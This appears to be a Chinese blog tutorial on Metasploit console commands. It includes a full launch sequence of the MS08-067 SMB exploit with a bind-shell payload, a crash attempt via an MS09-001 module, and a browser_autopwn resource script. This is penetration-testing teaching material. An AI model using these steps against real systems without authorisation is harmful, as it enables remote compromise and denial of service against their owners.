zoukankan      html  css  js  c++  java
  • Metasploit 使用简介

    Metasploit Framework 是非常优秀的开源渗透测试框架,像我这样的菜鸟刚刚听说,于是花时间好好研究了一下,整理了一下学习笔记,贴出来和大家一起交流。第一次写文章又不足的地方大家多多指点。

    Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsolemsfwebmsfupdatemsfupdate用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块,个人感觉也是功能强大的模块,所有的功能都可以该模块下运行。msfweb Metasploit frameworkweb组件支持多用户,是Metasploit图形化接口。

    msfconsole

    msfconsoleMSF中最主要最常用的功能组件,使用集成化的使用方法,可以使用MSF中的所有命令和模块,支持很多其它接口方式不支持的功能,启动msfconsole如下图所示:

                    |                    |      _) |

     __ `__    _ __|  _` |  __| __   |  _   | __|

     |   |   |  __/ |   (   |\__ |   | | (   | | |

    _|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|



           =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
    + -- --=[ 567 exploits - 283 auxiliary
    + -- --=[ 210 payloads - 27 encoders - 8 nops
           =[ svn r9854 updated today (2010.07.17)


    msf>

    msfconsole主要有以下特点:

     支持命令完成功能(tab键)

      支持外部命令执行(可以执行系统命令)

    如下为使用ping命令:

                    |                    |      _) |

     __ `__    _ __|  _` |  __| __   |  _   | __|

     |   |   |  __/ |   (   |\__ |   | | (   | | |

    _|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|

           =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
    + -- --=[ 567 exploits - 283 auxiliary
    + -- --=[ 210 payloads - 27 encoders - 8 nops
           =[ svn r9854 updated today (2010.07.17)

     

    msf>ping www.baidu.com

    ping www.baidu.com

    [*] exec: ping www.baidu.com

     

    Pinging www.a.shifen.com [119.75.217.56] with 32 bytes of data:

    [119.75.217.56] with 32 bytes of data:

    Reply from 119.75.217.56: bytes=32 time=73ms TTL=49

    …… 

    Ping statistics for 119.75.217.56:

        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

    Approximate round trip times in milli-seconds:

        Minimum = 73ms, Maximum = 94ms, Average = 79ms

    msf >

      使用流程

     

      help命令

    和其它基于命令行的程序一样,使用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。

     

    msf > help

    Core Commands

    =============

     

    Command       Description

    -------       -----------

    ?             显示帮助菜单

    back          从当前环境返回到主路径

    banner        显示软件旗标信息

    cd            改变当前工作路径

    color         切换颜色

    connect       连接主机,类似于telnetnc

    exit          退出

    help          显示帮助菜单,即该页面

    info          显示模块的详细信息

    irb           进入irb脚本模式

    jobs          显示和管理作业

    kill          结束一个作业

    load          加载framework插件

    loadpath      从指定路径加载模块

    quit          退出

    resource      运行文件中的命令

    route         Route traffic through a session

    save          保持数据

    search        搜索模块及名称

    sessions      显示及转存会话列表

    set           设置变量值

    setg          设置全局变量值

    show          显示给定类型的模块或全部模块

    sleep         休眠

    unload        卸载 framework 插件

    unset         取消变量设置

    unsetg        取消全局变量设置

    use           根据名字选择一个模块

    version       显示版本

     

    Database Backend Commands

    =========================

     

    Command               Description

    -------               -----------

    db_services           List all services in the database

    db_status             Show the current database status

    db_sync               Synchronize the database

    db_vulns              List all vulnerabilities in the database

    db_workspace          Switch between database workspaces

      

    show命令

    msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的主要有一下三个:show payloadsshow exploitsshow auxiliary

    msf>show auxiliary

     

    Auxiliary

    =========

     

       Name                                              Rank       Description

       ----                                              ----       -----------

       admin/backupexec/dump                             normal     Veritas Backup Exec Windows Remote File Access

       admin/backupexec/registry                         normal     Veritas Backup Exec Server Registry Access

    ……

    show auxiliary显示Metasploit中的可用辅助模块列表,这些辅助模块包括scannerdosfuzzer

    show exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。

    show payloads 显示Metasploit中可以在不同平台中可以在远程主机执行的代码,即shellcode注:在使用具体的exploit时,只显示该平台支持的payload,例如:在使用ms08-067时,只显示windows平台可以使用的payload

     show options 显示可利用模块exploit的设置、条件、描述等。在具体的模块中使用,后面use命令中会有实例。

    show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在具体的模块中使用,后面use命令中会有实例。

    show advanced 显示可利用模块exploit高级信息,自定义利用程序时使用。在具体的模块中使用,后面use命令中会有实例。

    show encoders 显示可利用模块exploit的编码方式,在具体的模块中使用,后面set命令中会有实例。

      search命令

    search 命令是最常用的命令之一,用于查找各种exploitpayloadauxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:

    msf > search ms08-067

    [*] Searching loaded modules for pattern 'ms08-067'...

     

    Exploits

    ========

        Name                         Rank   Description

       ----                         ----   -----------nption

    info命令

    info用于显示特殊模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是使用info命令显示ms08-067实例:

    msf > info windows/smb/ms08_067_netapi

            Name: Microsoft Server Service Relative Path Stack Corruption

        Version: 9839

       Platform: Windows

     Privileged: Yes

        License: Metasploit Framework License (BSD)

           Rank: Great

     Provided by:

      hdm <hdm@metasploit.com>

      Brett Moore <brett.moore@insomniasec.com>

     Available targets:

      Id  Name

      --  ----

      0   Automatic Targeting

      1   Windows 2000 Universal

     ………

      60  Windows XP SP3 Turkish (NX)

     

    Basic options:

      Name     Current Setting  Required  Description

      ----     ---------------  --------  -----------

      RHOST                     yes       The target address

      RPORT    445              yes       Set the SMB service port

      SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

     

    Payload information:

      Space: 400

      Avoid: 8 characters

     

    Description:

      This module exploits a parsing flaw in the path canonicalization

      code of NetAPI32.dll through the Server Service. This module is

      ……

      on 2003, along with other platforms, is still in development.References:

      http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250

    use命令

    use命令用于使用特殊的模块,如利用程序、shellcode或辅助模块等。以ms08-067为例,模块名称必须包含完整的路径,可以通过search命令搜索,以下还演示了show optionsshow targets命令的使用。

    msf > use windows/smb/ms08_067_netapi

    msf exploit(ms08_067_netapi) > show options

     

    Module options:

     

       Name     Current Setting  Required  Description

       ----     ---------------  --------  -----------

       RHOST                     yes       The target address

       RPORT    445              yes       Set the SMB service port

       SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

     

    Exploit target:

     

       Id  Name

       --  ----

       0   Automatic Targeting

     

    msf exploit(ms08_067_netapi) > show targets

     

    Exploit targets:

     

       Id  Name

       --  ----

       0   Automatic Targeting

    ………

      60  Windows XP SP3 Turkish (NX)

    conect 命令

    connect命令可以连接到远程主机,连接方式和nctelnet相同,可以指定端口,如下为connect命令演示:

    msf > connect 127.0.0.1 4000

    [*] Connected to 127.0.0.1:4000

    Microsoft Windows [Version 6.1.7600]

    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

     

    E:技术工具cmd>msf >

    set命令

    set命令用于当前使用模块的选项和设置参数。

    set payload  xxx/xxx z设置溢出代码

    set encoder xxx/xxx 设置利用程序编码方式

    set target xxx 设置目标类型

    set xxx xxx 设置参数

    下面以ms08-067为例:

    msf > use windows/smb/ms08_067_netapi

    msf exploit(ms08_067_netapi) > show options

     Module options:

        Name     Current Setting  Required  Description

       ----     ---------------  --------  -----------

       RHOST                     yes       The target address

       RPORT    445              yes       Set the SMB service port

       SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

     Exploit target:

        Id  Name

       --  ----

       0   Automatic Targeting

     msf exploit(ms08_067_netapi) > set RHOST 192.168.10.10

    RHOST => 192.168.10.10

    msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp

    payload => windows/shell/bind_tcp

    msf exploit(ms08_067_netapi) > show options

     Module options:

        Name     Current Setting  Required  Description

       ----     ---------------  --------  -----------

       RHOST    192.168.10.10    yes       The target address

       RPORT    445              yes       Set the SMB service port

       SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

     Payload options (windows/shell/bind_tcp):

        Name      Current Setting  Required  Description

       ----      ---------------  --------  -----------

       EXITFUNC  thread           yes       Exit technique: seh, thread, process

       LPORT     4444             yes       The listen port

       RHOST     192.168.10.10    no        The target address

     Exploit target:

        Id  Name

       --  ----

       0   Automatic Targeting

     msf exploit(ms08_067_netapi) >exploit

    check命令

          部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:说明目标系统不存在漏洞

    msf exploit(ms04_045_wins) > check

    [-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

    设置全局变量

    Metasploit 支持设置全局变量并可以进行存储,下次登录时直接使用。设置全局变量使用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:

    msf > setg LHOST 192.168.1.101

    LHOST => 192.168.1.101

    msf > setg RHOSTS 192.168.1.0/24

    RHOSTS => 192.168.1.0/24

    msf > setg RHOST 192.168.1.136

    RHOST => 192.168.1.136

    msf > save

    Saved configuration to: /root/.msf3/config

    exploit/run命令

    设置好各个参数后,可以使用exploit命令执行溢出操作,当使用了自定义auxiliary参数时,需要用run命令执行操作。

    msf auxiliary(ms09_001_write) > run
    Attempting to crash the remote host...
    datalenlow=65535 dataoffset=65535 fillersize=72
    rescue

    resource命令

    resource命令可以加载资源文件,并按顺序执行文件中的命令。

    msf > resource karma.rc

    resource> load db_sqlite3

    [-]

    [-] The functionality previously provided by this plugin has been

    [-] integrated into the core command set. Use the new 'db_driver'

    [-] command to use a database driver other than sqlite3 (which

    [-] is now the default). All of the old commands are the same.

    [-]

    [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin

    resource> db_create /root/karma.db

    [*] The specified database already exists, connecting

    [*] Successfully connected to the database

    [*] File: /root/karma.db

    resource> use auxiliary/server/browser_autopwn

    resource> setg AUTOPWN_HOST 10.0.0.1

    AUTOPWN_HOST => 10.0.0.1

    irb命令

    运行irb命令,进入irb脚本模式,可以执行命令创建脚本。

    msf > irb

    [*] Starting IRB shell...

    >> puts "BlackAngle!"

    BlackAngle!

  • 相关阅读:
    Symantec Backup Exec Remote Agent 2010在Redhat Enterprise 6.6上启动问题
    RMAN冷备份异机还原
    ORACLE OLAP错误ORA-06512: at "SYS.OLAPIHISTORYRETENTION"
    expdp 报The value (30) of MAXTRANS parameter ignored错误的原因诊断
    ORA-01157 & ORA-01110
    INITIAL参数设置导致TRUNCATE TABLE不能降低高水位线案例
    ORA-19563: header validation failed for file
    ORACLE NUMBER类型Scale为0引发的问题
    ORA-04063: view "SYS.DBA_REGISTRY" has errors
    Linux 格式化扩展分区(Extended)
  • 原文地址:https://www.cnblogs.com/daban/p/3761529.html
Copyright © 2011-2022 走看看